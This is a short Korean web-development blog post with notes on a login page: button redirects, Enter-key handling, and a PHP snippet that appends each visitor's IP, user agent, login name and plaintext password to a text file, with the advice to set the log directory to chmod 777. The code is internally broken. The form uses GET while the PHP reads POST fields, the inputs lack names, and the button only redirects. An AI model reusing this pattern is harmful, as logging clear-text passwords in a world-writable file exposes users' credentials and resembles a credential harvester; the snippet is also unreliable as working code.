보안 및 개발/WEB

로그인 구현 시 참고사항

CH@3M 2019. 12. 10. 11:30

button태그를 a태그처럼 사용하여 링크 이동하기

<button type="button" onclick="location.href = 'input.php';">로그인</button>

하지만 이건 유지보수에 좋지 않다

그래서 다음과 같이 script 태그로 함수를 만들어 사용

            <script type="text/javaScript">
                function submitLogin(){
                location.href = "/input.php";
                }
            </script>
            <button type="button" onclick="submitLogin()">로그인</button>

전체코드

            <form action="input.php" method="get" id="login-form">
                <div>
                    <span>로그인 아이디</span>
                    <input type="email" placeholder="아이디(이메일 형식)">
                </div>
                <div>
                    <span>비밀번호</span>
                    <input type="password" placeholder="비밀번호를 입력하세요.">
                </div>
            </form>
            <script type="text/javaScript">
                function submitLogin(){
                location.href = "/input.php";
                }
            </script>
            <button type="button" onclick="submitLogin()">로그인</button>

 

로그인 구현 시, 엔터키 처리는 onkeypress="if(event.keyCode == 13){ loginOk(); return; }" 추가해주면 된다.

<input type="password" placeholder="비밀번호를 입력하세요."  onkeypress="if(event.keyCode == 13){ submitLogin(); return;}">

 

입력 데이터를 텍스트 파일로 저장할 때, 디렉토리에 권한 주는것 잊지말기 (chmod 777 log)

<?php
    $myfile = fopen("./log/loginData.txt", "a+");
    $_SERVER['REMOTE_ADDR'];
    $txt = "INFO : ".$_SERVER['REMOTE_ADDR']." - ".$_SERVER['HTTP_USER_AGENT']."\tTIME : ".date('YmdHis',time())."\tLogin name : ".$_POST['id']." -> Password : ".$_POST['pw']."\n";
    fwrite($myfile, $txt);
    fclose($myfile);
?>
반응형